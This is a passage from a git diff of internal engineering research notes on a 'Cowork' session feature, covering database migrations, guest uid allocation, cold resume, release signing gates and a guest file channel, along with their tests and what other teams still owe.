opaque_id), UNIQUE (export_id, session_id)); +``` + +`content_digest` is nullable (existing rows stay NULL; NULL means "no binding", which the restorer refuses) and is the lowercase hex sha256 of the exact bytes of `integrity.json`, written once while the row is `prepared`. Opaque ids are `s` + 16 random hex characters, minted per export and per session folder, never derived from the session id. `SqliteExportContentBinding` (`export-binding.ts`) is the only caller and uses raw statements, no `CoworkRepository` method. The table belongs in `COWORK_TABLES` and the downgrade handling. diff --git a/docs/research/2026-10-18-cowork-session-door-d4.md b/docs/research/2026-10-18-cowork-session-door-d4.md index d7a9653d3..771c3cebb 100644 --- a/docs/research/2026-10-18-cowork-session-door-d4.md +++ b/docs/research/2026-10-18-cowork-session-door-d4.md @@ -34,8 +34,8 @@ D4 is split in two: - The row has `cwd` NULL and `dirs` `[]`. `session_created` carries `mode: "cowork"` and the display facts `{workspaceId, projectId, location, sourceId, policyRevision}`. Those facts are read from the same workspace the reservation saw, so a later policy change can leave them stale. They are display only: the binding is authority. 6. **Bind.** - A binding already present is found first (`boundHere`), and must match the request's workspace, source and cwd, or the answer is `request_conflict`. It is never replayed through `bindConversation`'s own idempotency key. That key's digest carries `expectedRevision`, which a landed bind has since advanced, so a replay would answer `request_conflict` for a landed bind. - - Otherwise `bindConversation` runs. If it throws and nothing is bound, the failure is DEFINITE: the store row is withdrawn, THEN the reservation. A crash between the two leaves a pending reservation, which resumes. The request then starts over cleanly, and a standalone workspace is never stuck behind a dead reservation. - - A non-`CoworkError` throw keeps the reservation pending. + - Otherwise `bindConversation` runs. If it throws a `CoworkError` and nothing is bound, the failure is DEFINITE: the store row is withdrawn, THEN the reservation. A crash between the two leaves a pending reservation, which resumes. The request then starts over cleanly. + - A non-`CoworkError` throw (or a crash after the store row) keeps the reservation pending, and only that same request resumes it. If that request is never retried, the reservation is ABANDONED. A Project is unaffected, since its other requests mint other ids. A standalone workspace would be held for good (every other request answers `conversation_limit`), so the D4 fixes below add the sweep: past `COWORK_STALE_RESERVATION_MS` (10 minutes), the next authorized create withdraws the abandoned reservation the same way (store row first) and binds the workspace's one conversation itself. 7. **Complete.** The reservation is marked `bound` (idempotent, and only for a bound session of that workspace). **Races.** @@ -197,3 +197,71 @@ D4c is stacked on D4b. This is the coordinator's follow-up to the blocking NEED: - `docs/claude/cowork.md`: the door's create path and the schedule caller exist, unconstructed in production. Migration 19. - `docs/cowork-status.md`: unchanged status. Still nothing is creatable or runnable. + + +## D4 review fixes (after a3f8bf13's review of #107, #108, #109 and #110) + +**D4a.** +- **Abandoned standalone reservation (MED).** `CoworkRepository.abandonedReservation(workspaceId, except, before)` returns a standalone workspace's pending, unbound reservation older than the window that belongs to another request. The door withdraws it (store row, then reservation) before it reserves. + - Inside the window, only the original request resumes. The original request, once swept, starts over and meets `conversation_limit`. + - The request's own reservation is never swept, so other content under its id still answers `request_conflict`. + - A Project's abandoned reservation blocks nothing and is left alone. +- **Migration 19's key (MED)** is pinned behaviourally: two principals' same request id are two reservations. The PK columns are also pinned. +- **LOWs, each with a test:** + - the withdraw order, as a crash between the two steps; + - a non-`CoworkError` keeps the reservation pending; + - `recovery_required` for a row at seq 0 whose log has lines; + - the standalone log is removed with its row, so the reused owner id starts at one seq-1 line; + - an anchored schedule request id; + - a look-alike caller inside the dispatch window; + - the schedule caller's refusal of an outputs location (D3b). + +**D4b.** +- **The no-production-port pin is structural now.** + - A TypeScript AST pass lists every place a src module writes the name `provisioning` or `execution`. It covers assignment, shorthand, method or accessor, class field, interface member, assignment through a property access, and an exact string literal. The list is pinned exactly. + - A behavioural pin builds the production host composition (`disabledCoworkHost`, and `createMacCoworkHost` with and without `native`, as `daemon.ts` composes it) and asserts that neither port is present and that capabilities read false/false. + - The service's private drive map is renamed `provisionDrives` so it is not a third name. +- **LOWs, each with a test:** + - a source addition goes through the port's `admit`; + - a live driver's steer refusal reaches the client typed; + - an unknown session never routes to the door. + +**D4c.** +- **`failed` is enforced (MED).** A workspace whose creation concluded `failed` refuses `reserveConversation`, both binds and `beginIncarnation` with `recovery_required`. +- **The rule for a late `failed`.** `failCreationProvisioning` concludes only for a workspace no guest has ever started (lease epoch 0, `stopped`). A later `failed` on a booted workspace contradicts an earlier `applied` and stays pending. Once concluded, no boot can follow, so no source can become ready after `failed`. Both orders resolve atomically in the runtime-state transaction. +- **The bound (MED).** `resumeProvisioning` drives EVERY pending creation: + - oldest first, in keyset pages of `COWORK_PROVISION_PAGE` (64), with at most `COWORK_PROVISION_CONCURRENCY` (4) drives in flight; + - with no row cap, so creations waiting on their guest cannot starve a crash-interrupted one; + - creations that answered `applied` in this process are skipped (they wait for the guest), and a boot drives each pending creation once; + - one resume at a time; + - it never rejects, including on a synchronous throw. + +**Mutations (guards and refusals only): 22/24 killed** (`door/d4fix_mutations.py`). Both survivors are equivalent: +- dropping `state='pending'` from the sweep: a bound reservation always has a binding, which the sweep excludes; +- admitting an outputs location for the schedule caller: the source comparison right after it refuses, because an outputs location has no source. + +## Plan view, DOOR half (APPROVALS #112 NEEDS), in the same PR + +What DOOR built: +- **`classifyPath`** returns `planScratch` for `/workspace/plan//` and below. The projection narrows it to the conversation's own sid at the current epoch, and anything else there is `outside`. A bare `/workspace/plan` or `/workspace/plan/` is `outside`. +- **`planScratchEpoch()`** is the policy machine's `epoch`. +- **`identity().outputsFolder`** is the conversation's own `/workspace/outputs/` for an outputs-located conversation. +- **`planViewInstalled()`** is unchanged: true only under plan with `planViewMounted`. +- **`coworkConversationFor`** accepts `planScratchEpoch`. Under plan, it adds the writable root `{id: "plan-scratch", guestPath: /workspace/plan//}` beside the read-only roots (`coworkPlanScratchPath`). Outside plan, the epoch is ignored. + +**Not mounted yet, by design.** The driver passes neither `planScratchEpoch` nor `planViewMounted` (pinned). The native contract refuses such a set on the wire (pinned), for two reasons: +- `allowedView` (native/protocol.ts) has no `/workspace/plan//` view; +- plan's every-root-read-only rule has no exception for the plan scratch. + +The supervisor mirrors both rules. Once those land, the driver passes the machine's epoch to the builder and `planViewMounted: true` to the ports in the same incarnation, so the view is installed exactly when it is mounted. + +**APPROVALS carry-over.** #112's LOW is covered: a `planScratchEpoch` port answering -1 leaves even the path spelled with `-1` outside, for both Write and Read. + +**Mutations (guards): 7/8 killed.** The survivor fixes `planScratchEpoch` at 0. It is equivalent while DOOR's machine has no change path (its change ports refuse, so the epoch is always 0). It becomes live with the policy-change slice. + +**NEEDS:** +- **S7B** (`native/protocol.ts`, contract text) and the **SDK lane** (supervisor): + - admit the view `/workspace/plan//` (exactly 5 components, a non-negative decimal epoch) as the conversation's own; + - let it be writable under plan, while every other root stays read-only; + - keep it outside `.winter`. +- **APPROVALS** (now DOOR's): the lateral drain on leaving plan must not wait on the in-flight `ExitPlanMode` call that triggers it. This belongs with the policy-change slice, which DOOR now owns; nothing in this PR drains. diff --git a/docs/research/2026-10-18-cowork-session-door-n92.md b/docs/research/2026-10-18-cowork-session-door-n92.md new file mode 100644 index 000000000..b3282f8d6 --- /dev/null +++ b/docs/research/2026-10-18-cowork-session-door-n92.md @@ -0,0 +1,154 @@ +# Cowork session door: the #92 host-side DOOR rows + +Status: draft PRs, stacked on D3b (#110). Built against the folded #92 design (`cowork/n2-extensions-design` at `da3d248bf`; the coordinator confirmed M1 final). Nothing here is reachable in production. No native host calls the new seam before S7B's contract text version 3 exists, and no production caller constructs the driver. + +Slices: +- N2, folder shares acknowledged at `shares_mounted`; +- N1, migrations 20 (#97) and 21 (#92 rows); +- N3 (cold resume) and N4 (held-input messaging): they wait for ac25214's `cowork/guest-messaging` agent-sdk draft and are coordinated with it directly. + +## N2: folder shares become `ready` at `shares_mounted` (#92 sections 2.5 and 8) + +- **The seam.** `CoworkGuestStartRequest.sharesMounted?(context, mounted: CoworkMountedShare[])` is a new optional member beside `conversations`. The v3 native host calls it at the guest's `shares_mounted`, BEFORE it asks for the set. Each `{sourceId, revision}` is host-mapped from the share tag, never a guest id. +- **`coworkAcknowledgeMountedShares`** (session-driver.ts) acknowledges each entry `ready` under the incarnation's current epoch (`refreshEpoch`, then `acknowledgeSource`). It accepts 1 to 12 distinct entries. Each must be a present FOLDER source of the workspace, `preparing`, at the share's revision. +- **Refusals.** Anything else throws typed, and the driver surfaces its own code over the host's bootstrap fault. Calling it after the set is `recovery_required`. +- **What it unlocks.** A source conversation whose source no incarnation acknowledged is refused `source_unavailable` at the set (`requireSource`, unchanged), so shares are what make a folder conversation runnable for the first time. + +**Tests.** session-driver "#92 N2" (four tests): +- a mounted share makes the source `ready` for THIS incarnation and the turn runs; +- with no report, the set refuses; +- a stale revision, an unknown source, a repeat or an empty report each give their own code, and nothing is acknowledged or launched; +- a repository source is never acknowledged by a share; +- a report after the set is refused. + +**Mutations: 6/7 killed** (`door/n2_mutations.py`). The one survivor is equivalent: dropping the revision check, which `acknowledgeSource` repeats (its `selected.revision !== revision` is `stale_acknowledgment`). + +**NEEDS.** S7B (`native/host.ts`, with the v3 contract): call `request.sharesMounted(context, mounted)` when `shares_mounted` arrives and before `conversations`, mapping each folder share's tag to its `{sourceId, revision}` from the `shares` records it prepared. Treat a throw as the bootstrap fault `share_mount_failed`. Its `CoworkNativeHostDeps` twin pin then grows this member. + +## N1: migrations 20 and 21 (records only) + +DOOR owns every migration. Neither migration has a production writer or reader yet; each is idempotent (a rewound `user_version` replays it without effect), and every new table is Cowork authority (`COWORK_TABLES`, each child listed before the table it references), so a populated row refuses both downgrades. `RUNTIME_STATE_SCHEMA_VERSION` is 21; the downgrade ladders accept 8..21 and refuse 22. + +**Migration 20, content-out (#97).** The definitions are that lane's, unchanged: +- `cowork_exports.content_digest`: NULL, or lowercase 64-hex (the SHA-256 of `integrity.json`). NULL means no binding. +- `cowork_export_output_ids(export_id → cowork_exports, opaque_id = 's' + 16 lowercase hex, session_id)`, with primary key `(export_id, opaque_id)` and `UNIQUE (export_id, session_id)`. There is no foreign key on `session_id`. +- #97's `SqliteExportContentBinding` writes these tables with its own statements, so DOOR adds no repository method. + +**Migration 21, #92 section 8 (DOOR rows):** +- `cowork_conversations` gains: + - `runtime_uid` and `tool_uid`: 1000..65533, the tool uid never equals the runtime uid, and each is unique per workspace through partial unique indexes. + - `store_state`: `none|started|created|lost`, default `none`. The backfill sets `started` wherever a `backend_session_id` is recorded, so a resume is never told "fresh" over a real store. + - `last_incarnation_id`. +- `cowork_workspaces` gains: + - `store_volume_uuid`: a lowercase 8-4-4-4-12 UUID, the guest's own `UUID` grammar. + - `browse_uid`: 1000..65533. +- `cowork_guest_uids(workspace_id, uid, role runtime|tool|browse, session_id, allocated_at, retired_at, released_at)`: + - The primary key `(workspace_id, uid)` allocates each uid once per workspace. + - Each conversation has one uid per role, and each workspace has one browse uid. A browse uid has no session, and the others need one. + - `released_at` needs `retired_at`. + - **L7 keep rule:** a trigger refuses to delete a row until `released_at` is set, because a uid is kept until its owner's files are proven removed. +- `cowork_guest_boots(workspace_id, incarnation_id, lease_epoch > 0, guest_boot_id UNIQUE (36 characters), recorded_at, ended_proof, ended_at)`: + - The primary key is `(workspace_id, incarnation_id)`. + - `ended_proof` is one of `orderly-receipt|new-boot|owner-recover`, and it is set together with `ended_at`. A guest-written marker is not a value the schema accepts. +- `cowork_peer_inbox` gains: + - `offer_count`: default 0, never negative; + - `acked_hold_token`: NULL or 64 lowercase hex; + - `commit_confirmed_at`; + - `commit_outcome`: `folded|queued|started|already|lost`. + +**Choices made here and open to review:** +- The three `ended_proof` names are DOOR's wording of the D1 evidence kinds: an orderly release receipt, a later boot's evidence, and an owner recover. S7B may rename them before anything writes the column. +- The per-workspace uid range excludes the workspace gid only through the allocator, not through the schema. + +**One repository fix.** `CoworkRepository.create` inserted into `cowork_workspaces` by position, which would break when a column is added. It now names its columns. No other positional insert into an altered table exists in `src` or `test` on this branch. Other lanes should name columns too. + +**Tests:** +- `test/cowork/n1-schema.test.ts` (new, 9 tests) covers the fresh shape, every CHECK and key, the L7 rule, the upgrade from a v19 store (rows survive, and the backfill applies only where a backend is recorded), the replay no-op and the ladder. +- Version and column pins were bumped in the peer-inbox-sqlite, session-binding-schema, storage-lifecycle, outputs, instructions and session-door tests. + +**Mutations: 33/33 killed** (`door/n1_mutations.py`). + +**NEEDS:** +- PEER-INBOX (`cowork/peer-inbox-sqlite.ts`): the ledger methods over the new columns (`offer` increments `offer_count`, `ack` stores `acked_hold_token` atomically, `confirmCommitted(receiptId, outcome)` sets `commit_confirmed_at` and `commit_outcome` together, plus `deliveredUnconfirmed` and the prune guard). +- S7B: write `cowork_guest_boots` at `hello` and its end proof after release, and write and re-send `store_volume_uuid`. +- DOOR (N3) owns the uid allocator and the `store_state` transitions. + +## Review fold (a3f8bf13 on #111 and #114) + +**N2:** +- **MED: a mixed report.** `CoworkRepository.acknowledgeMountedShares` checks every entry first and then acknowledges all of them in ONE transaction. A report with any bad entry leaves every source `preparing`, publishes nothing and concludes no operation. +- **LOW: the gaps found in review.** The over-12 limit and the workspace check now have tests. `conversations` refuses with the first refusal once a `sharesMounted` report has been refused, even if the host ignored that refusal. +- **Mutations (guards):** 4/5 killed. The survivor removes the transaction while keeping the validate-first loop. It is equivalent: validation runs before any write, and every entry shares one epoch. + +**N1:** +- `cowork_peer_inbox.commit_outcome` carries `CHECK ((commit_confirmed_at IS NULL) = (commit_outcome IS NULL))`. +- `guest_boot_id` must be a lowercase UUID, the native `GUEST_BOOT` grammar. +- The rule for N3 is recorded in the schema doc: a guest uid is allocated ONLY through `cowork_guest_uids`, in the same transaction that writes it to a conversation or workspace. + +**CLI (from dc).** The usage no longer names `winter workspace session create|list`, which is unreachable until a daemon carries a door (pinned). The parser stays. + +## N3 + N4: cold resume and held-input messaging, the host half (gated) + +These are built against agent-sdk #43 (GM1+GM2, dc642bc0) and #44 (CR2, cb759dba), as their author confirmed. Production reaches none of it. The two gates are driver deps that no src composition supplies; a structural AST pin lists every write of `coldResume`, `heldInput` and `ownerPatchApplied`. + +### N3, cold resume (`cowork/cold-resume.ts`, repository) + +**Stable uids (L7).** `allocateGuestUids` hands each conversation its runtime/tool pair once. +- It allocates only through `cowork_guest_uids`, in the transaction that writes the conversation's columns. +- It takes the lowest free pair from 2001, skipping the workspace gid and every uid the table still holds (retired ones included). +- The set now carries the allocated pair. The first conversation still gets 2001/2002, the old fixed picks. + +**Store state.** +- `none` becomes `started` WRITE-AHEAD in `assignConversationBackend`, which also records the incarnation that received the set. +- The first `turn_completed` with `end_turn` records `created`. +- `markStoreLost` is terminal. + +**Continuation.** `none` resumes fresh, `started` resumes as `either` (the guest decides from its own store), `created` resumes, and `lost` refuses with `cold_resume_unavailable`. + +**Driver.** +- A recorded backend without the `coldResume` gate refuses as before. +- With the gate, the driver keeps the recorded backend identity and its uids. It passes `CoworkGuestStartRequest.resume = {continuation, endedGuestBoots}`, where the boots are the last incarnation's ended boots that have a proof. +- The query's `resume` option is set only for `resume`. +- A failed resume closes the driver, so the next `ensure` plans the resume again. +- **Gated off until the owner applies the cold-resume owner patch.** The unmodified native owner refuses a resume record because it requires `freshOnly`. + +### N4, held input (`cowork/held-input.ts`) + +**When a driver has the verbs.** `CoworkLegSession.heldInput` (hold, commit, discard, forget) exists only with the `heldInput` gate AND a runtime whose capability offers `held-input-v1`. + +**How the verbs work.** +- They read the live SDK query structurally, because winter's pinned SDK 0.0.53 has no verbs; a query without them refuses `unsupported_topology`. +- They are bound to the running incarnation's epoch; with none live they refuse `cold_resume_unavailable`. +- Requests are checked before they leave: the closed shape, text non-empty and at most 64 KiB in UTF-8 bytes, `clientName` at most 256, 64-hex tokens. +- Every answer is checked against its closed shape, and `system/held_inputs` records are checked too. Anything malformed is `recovery_required` (uncertain). +- A runtime refusal carrying one of the eight known codes is `CoworkHeldInputRefusal`. + +**Hold token.** `coworkHoldToken` is sha256("hold-v1|receipt|incarnation|leaseEpoch|offerCount"). + +**Host-messaging answers.** Their validators (`host_message_send` / `host_message_list`, mirroring the SDK's `isHostMessageSendAnswer` / `normaliseHostMessageListAnswer`) let the answering lane refuse a malformed answer before it leaves the host. + +### Tests and mutations + +**Tests.** +- `n34-records.test.ts` (7 tests) covers the uids, the store state, the continuation, the plan, the literals, the token, every answer shape, the verbs and the messaging answers. +- `session-driver.test.ts` (+6 tests) covers: + - a fresh start (allocated uids, write-ahead, `created`); + - the gate off (`cold_resume_unavailable`); + - a gated resume (same backend and uids, `resume`, proven boots); + - `either` and lost; + - the held-input gate (both conditions); + - the verbs bound to the live incarnation. + +**Mutations (guards and refusals): 24/25 killed.** The survivor drops the driver's own "not live" check on the query. It is equivalent, because the verbs are bound to `coworkEpoch`, which is undefined whenever the driver is closed. + +### NEEDS + +- **S7B (contract v3).** + - Put `resume.continuation` and `resume.endedGuestBoots` on the conversation's runtime record and check the guest's `continuation` echo. + - Map `runtime_resume_store_missing` to `markStoreLost`, and `runtime_fresh_store_required` to a refusal. + - Write `cowork_guest_boots` at `hello` and their end proof after release. + - Send the stored volume UUID and map `filesystem_mismatch` or `format-new` over a started store to lost. + - Add a `coordinate` tool class to the native class list. +- **Owner.** Apply the cold-resume owner patch before the `coldResume` gate may be supplied. +- **PEER-INBOX.** `drainOnce` over `heldInput` with the ledger columns of migration 21: `offerCount` gives the token, the ack stores the token, and the commit stores the outcome; `unknown_input` is terminal and becomes `lost`. Answer the guest's `host_message_send/list` through the DOOR validators. +- **SDK pin.** Once the SDK release that carries #43 is pinned, replace the structural query read with the typed verbs. The literal pins in `n34-records.test.ts` then compare against the SDK exports. diff --git a/docs/research/2026-10-18-n2-s7b-part2.md b/docs/research/2026-10-18-n2-s7b-part2.md new file mode 100644 index 000000000..1ecc693b0 --- /dev/null +++ b/docs/research/2026-10-18-n2-s7b-part2.md @@ -0,0 +1,49 @@ +# N2 S7B part 2: packaging, release gates, dev script, verify gate + +Branch `cowork/n2-integration-b2`, stacked on #85 (`cowork/n2-launcher-receipt-mac`, which includes #57 and the receipt MAC) and #87 (`cowork/n2-integration-b1`, merged in for the activation seam and `host-env`). Activation stays off: shipping the pair activates nothing, and `session.create {mode:"cowork"}` is still `unsupported_topology`. No Developer ID, login Keychain, notarization, app launch or worker launch was used; every signing and every check ran ad hoc on scratch directories. + +## What shipped + +| Piece | Where | What it does | +| --- | --- | --- | +| Embed phase | `apple/Winter/project.yml` "Embed Cowork native" | Runs `scripts/embed-cowork-native.sh` (Release only). The pair lands in `Contents/Helpers/WinterCowork/`, each binary signed with its own identity and a STATED designated requirement, and the script writes `Contents/Resources/cowork-native-pins.json` | +| Pin manifest | written by the embed script | The CDHash of each signed binary, plus the libkrun archive and header hashes, and the sha256 of the worker pins file and of `scripts/cowork-guest-artifact/pins.json` (the image pins) | +| Input build | `scripts/build-cowork-native.ts` | `swift build` of the launcher (no debug info, so no builder path) and `build.py worker` against the pinned libkrun archive. It builds, downloads and fetches nothing else; the libkrun inputs are named by `COWORK_LIBKRUN_INCLUDE` / `COWORK_LIBKRUN_ARCHIVE` | +| Release gate | `scripts/release.ts` | Builds the pair before `xcodegen`, then after the build: `assertSigned` (Developer ID team and secure timestamp) on both, `checkSignedNative` (identifier, hardened runtime, exactly the stated requirement, entitlements: worker the hypervisor key alone and launcher none, platform dylibs only, no test hook), a strict verify against the stated requirement, and `checkCoworkNativeBundle` (see below). Both are also enrolled in `HARDENING_PINS` (no `cs.*` relaxation) | +| Bundle gate | `checkCoworkNativeBundle` in `scripts/cowork-native-lib.ts` | Refuses a bundle that holds anything but exactly the two binaries, has no manifest or a malformed one, names another identifier, has a live CDHash different from the manifest's (a binary changed after embedding), or whose pin hashes differ from this checkout's | +| Dev script | `bun run dev:cowork-native` | Stages and signs the pair for the dev daemon at `dist/Helpers/WinterCowork/` (where the environment looks for `dist/dev/winter-core`'s pair). Launcher signed as `com.winter.cowork.launcher.dev` (the launcher reads which daemon it serves from its own signing identifier), worker as usual. An ad-hoc identity is accepted only with an explicit scratch `--out` | +| Verify gate | `bun run verify:cowork-native` | Assembles a scratch bundle through the real embed script (ad hoc), proves it accepted, then proves seven refusals (swapped binary, changed pin, extra file, missing manifest, wrong identifier, a second worker entitlement, a test hook). Real launcher plus a stand-in worker unless the libkrun inputs are given. Added to the CI `verify` job | +| Daemon side | `host-env/environment.ts`, `native-activation.ts` | `launcherIdentifier` option; the seam passes the dev identifier when `WINTER_PROFILE=dev`. Still behind the off constant | + +| Receiver thread in the compiled daemon | `packages/cli/src/fd-receiver-worker.ts` (+ `.source.ts`), `compile:core` and `compile` | `fd-channel.ts` starts ONE Bun Worker for every launcher channel. In a compiled binary it must be reached by the plain string `./fd-receiver-worker.ts` (a `new URL(...).href` hangs), so it is now a third entrypoint, pre-bundled alone like the embedded worker. Without it a compiled daemon could not start the channel after the flip | +| Compiled-binary gate | `bun run verify:fd-receiver` | Compiles `winter-core`, ad-hoc signs a temp copy like the Release app does, runs `__fd-receiver-probe` (socketpair, one line through the hub) and a negative control (entry renamed in a copy must fail). Verified also against a build with the entrypoint removed (fails with `syscall`). In the CI `verify` job | + +## Decisions (each a default the coordinator confirms or overrules) + +- **Where the proof lives.** CDHash plus pin hashes in a manifest under `Contents/Resources`, not a file inside `Helpers/WinterCowork` (a non-code file there would be sealed or rejected as code). `-dvvv` is needed for CDHash; `-dvv` omits it. +- **What "image pins" means today.** No image ships in the app yet, so the gate binds the bundle to the checkout's pin files (the worker's libkrun pins and the guest artifact `pins.json`) by hash. When an image is embedded, its digest joins the manifest. +- **The release chooses explicitly (coordinator ruling).** `release.ts` takes the libkrun inputs (`COWORK_LIBKRUN_INCLUDE` + `COWORK_LIBKRUN_ARCHIVE`) or `COWORK_NATIVE=omit`; neither, one input alone, both, or any other value fails before anything is built. Omit is loud (it prints), total (the phase skips and strips, nothing is built or gated, both hardening pins skipped) and asserted (the release requires `Helpers/WinterCowork` and `cowork-native-pins.json` to be ABSENT). A Debug build, or a Release xcodebuild with no `dist/cowork-native`, still builds and embeds nothing; exactly one input is an error. `sparkle-feed-gate.ts` passes the omit. +- **Dev pair location** `dist/Helpers/WinterCowork` follows from the environment's `dirname(executable)/../Helpers/WinterCowork`. +- **CI** runs `verify:cowork-native` (about 25 s: one `swift build`). Say the word to drop it. + +## Pin edits that were needed (all honest) + +- `scripts/embed-cowork-native.test.ts`: the "unwired" pin became "wired only where S7B says" (project.yml, release.ts, and the daemon's `host-env`). +- `guest-boot-anti-wiring.test.ts`: the one reference to `scripts/cowork-guest-artifact/pins.json` in `embed-cowork-native.sh` is exempted by exact string; nothing of the guest sources or artifact build is reachable. + +## Dev builds and the team id + +The launcher compiles in the team `37N77U9RSZ` and checks its worker against it; the daemon expects the same team on the launcher. A dev build signed with another team, or ad hoc, therefore fails closed (by design). `dev:cowork-native` signs with the team identity (`WINTER_DEV_SIGN_IDENTITY` overrides) and allows ad hoc only into a scratch `--out`. + +## Not done here (needs a person or another lane) + +- A Release build and `release.ts --dry-run` of the real app were not run (they sign with the Developer ID identity, which this task forbids), so the release gate code is verified by typecheck, the source pins and the shared pure functions, and the same checks run on a real embed in `verify:cowork-native`. Run one `--dry-run --no-bump` with the libkrun inputs before the first release. +- Real worker build: needs S4's archive and header. +- `xcodegen generate` could not run in this checkout (vendored CEF is absent); the spec was parsed as YAML and the phase is present. + +## Docs owed + +Note for the docs pass: `__fd-receiver-probe` is a hidden subcommand in the shipped `winter-core` and `winter` (accepted: it touches no home, Keychain or daemon). + + +`docs/claude/release.md` (the pair's inputs, the two env vars, the gate), `docs/claude/testing.md` and CLAUDE.md's command list (`verify:cowork-native`, `dev:cowork-native`), `docs/claude/cowork.md`, `docs/cowork-status.md`, `docs/cowork-implementation.md`, `follow_up.md`. diff --git a/docs/research/2026-10-19-n2-guest-file-channel.md b/docs/research/2026-10-19-n2-guest-file-channel.md new file mode 100644 index 000000000..55e3aaf42 --- /dev/null +++ b/docs/research/2026-10-19-n2-guest-file-channel.md @@ -0,0 +1,41 @@ +# N2: the guest side of the file channel (FC3) + +Counterpart to agent-sdk #42 (FC4, the supervisor's file service) and to contract revision 3 (#115, section 6.2 and 12). Source and tests only: no VM, no krun, nothing booted, nothing built in CI. + +## 1. Gate + +Everything is compiled only with `WG_FILE_CHANNEL_V1`, the build flag of an image that declares the runtime capability `file-channel-v1`. Production passes nothing, so: + +* `build.py` (production profile) lists none of the new sources; `--profile file-channel` builds `init-file-channel` and `winter-guest-relay-file-channel` under their own names and refuses `--update-pins`. +* The production `init` and `winter-guest-relay` binaries are byte-identical to the pinned ones (dede7fd9... and eed3a8f2...); only their `sourceSha256` and the helper script's sha256 in `pins.json` moved. +* `test_filechannel.py::ProductionHasNoFileChannelTests` holds that every file-channel name in a production source sits inside `#ifdef WG_FILE_CHANNEL_V1`. +* The bootstrap helper speaks revision 3 only with `--file-channel-v1` (PID 1 passes it only in the gated build); without it, it is the revision-2 helper. + +## 2. PID 1 + +* Two FIFOs, made at start: anonymous pipes, `O_NONBLOCK`, owned by PID 1 (root), single link, close-on-exec. FILE_IN (relay writes, supervisor reads) and FILE_OUT (supervisor writes, relay reads). +* The supervisor gets its two ends as the LAST two arguments: `--file-channel-fds IN,OUT` (7,8 after `--runtime-ports-fds 4,5,6`, otherwise 4,5). Before the fork it re-checks both ends (FIFO, root, one link, non-blocking); after the fork PID 1 closes both whether or not the supervisor was given them. +* Trusted config: `fileChannel: {browseUid, dataDevice}` as the last member, only for a workspace with a browse uid. `dataDevice` is `st_dev` of `/workspace`; the static part of the config may not name `fileChannel`. +* Every data-volume root (a root's `source` below `/workspace`, except the outputs and memory share mount points) is created `root:workspaceGid` mode 02770 before the supervisor starts; the directories above it are root:root 0711. FC4 refuses anything else. +* `fs.protected_hardlinks` is set to 1 at start (a write the kernel refuses stops the boot). +* The relay's go byte gains bit 1: the supervisor has a file service. +* Drain: the relay holds the only write end of FILE_IN and closes it when it receives the drain, before PID 1 hears of it; FILE_OUT's end is framed before `halting`. + +## 3. Relay + +Streams 4 and 5 on conversation 0 only (codec: another conversation is `bad_field`; FILE_IN up and FILE_OUT down are `bad_direction`). FILE_IN goes through its own 256 KiB ring and the file flow rule of contract v3 (`common/fileflow.c`, replayed against `runtime-flow.json` `fileCases`): at most 4 request lines outstanding, 16 KiB per request line, 384 KiB per response line, a response byte with nothing outstanding is refused; it never touches the runtime IN count. FILE_OUT is read only after `runtime_ready` was framed. FILE_IN's end closes the supervisor's side after what came before it. A response the flow rule refuses is a broken guest (exit 95), not a host violation. + +## 4. Bootstrap helper and the contract copies + +The three vector copies are re-pinned to PR #115 (488986e8). The helper's revision-3 vocabulary (`v` 2: `browseUid`, `continuation`, `endedGuestBoots`, `timeoutMs` up to 24 h, `continuations`, `shares`) is complete at the message level and passes every bootstrap-class vector. Behaviour is not: this guest has no shares and no resume store, so `shares` is answered with `share_inventory`, `resume` with `resume_store_missing`, `either` runs fresh and `runtime_ready.continuations` says `fresh`. The nine `shares` transcripts of `bootstrap-order.json` therefore wait for SH6. The helper hands PID 1 an extended 'C' payload (profile byte bit 7): the browse uid, per conversation its tool uid, its workspace gid and the `source` of each root (the plan view, 12.5, is the tool uid's own, 0700). + +## 5. Not verified here (G1 and CI) + +* The Linux-only tests (`test_pid1_linux.py::FileChannelPid1Tests`, the fcpid1 mutants) are cross-compiled clean for musl and glibc and have not run; CI is their first run. +* Whether the guest kernel exposes `/proc/sys/fs/protected_hardlinks` (CONFIG_PROC_SYSCTL; `kernel/pins.json` pins CONFIG_PROC_FS only). +* Whether `st_dev` from musl `stat(2)` in PID 1 equals the Python `os.stat` value the supervisor compares (same kernel encoding; first boot). +* A root of a workspace whose conversations name different group ids ends up with the later group; the other conversation's file service then refuses it (`file_unavailable`), which fails closed. + +## 6. Pins and docs owed + +`pins.json`: production `sourceSha256` of both programs and the helper script's sha256 (the cpio changes, `expectedArtifact` was already stale). `docs/claude/cowork.md` and the ledgers: the guest side of the file channel exists, is image-gated and unreleased; G11 stays open until FC5 and the image re-pin. diff --git a/docs/research/2026-10-19-n2-s7b-part3.md b/docs/research/2026-10-19-n2-s7b-part3.md new file mode 100644 index 000000000..e2e8e5dec --- /dev/null +++ b/docs/research/2026-10-19-n2-s7b-part3.md @@ -0,0 +1,41 @@ +# N2 S7B part 3: what the native host records and checks for the session door + +Status: draft PR `cowork/n2-integration-b3`, stacked on b2 (#99), which merges b1 (#87). It also merges the open DOOR branches it is built against (#116, #118, and the contract revision 3 branch #115), so until those merge its diff shows them. Nothing here makes a Cowork session creatable or runnable: `session.create {mode:"cowork"}` still answers `unsupported_topology`, the activation seam is off, and no production composition supplies a provisioning port, a shares provider, a resume record or the new records. + +## What was built + +| Piece | Where | What it does | +| --- | --- | --- | +| Provisioning port, in the door's shape | `host-env/provisioning.ts` | Typed by `session-ports.ts` (the local declarations are gone). `provision` allocates both images, makes `shared/{guidance,memory,outputs}` (owned, 0700, no symlink), keeps the data volume's UUID (write-once) and pins the digests. A mismatching recorded UUID fails with `store_volume_mismatch` and pins nothing. | +| The port reaches the service | `native-wiring.ts` `provisioningPort()`, `daemon.ts` | A lazy proxy over the injected environment: absent without an environment (production). With no port in the environment it THROWS (uncertain, retried), never answers `failed`, which would conclude a never-booted creation for good. The daemon composes it only where `coworkNativePort` exists and calls `resumeProvisioning()` once at boot. | +| Guest boots | `native/guest-records.ts` (port), `host-env/guest-records.ts` (SQL), `native/host.ts`, `native/recovery.ts` | `recordHello` at the guest's `hello`; `recordEnd` only inside `recovery.release`, with the evidence kind that released the disks. A proof is never overwritten; a reused boot id is a conflict. | +| Store volume UUID | `native/host.ts` `checkStoreVolume` | Before the incarnation moves: a recorded UUID that is not the data volume's refuses (and marks a resuming store lost); a store expected over a never-formatted data volume is lost and the volume is not formatted. | +| Continuation on the wire and echo | `native/host.ts` `prepareSet`, `deliverConversations` | `request.resume` is put on the runtime record; `runtime_ready.continuations` must have one entry 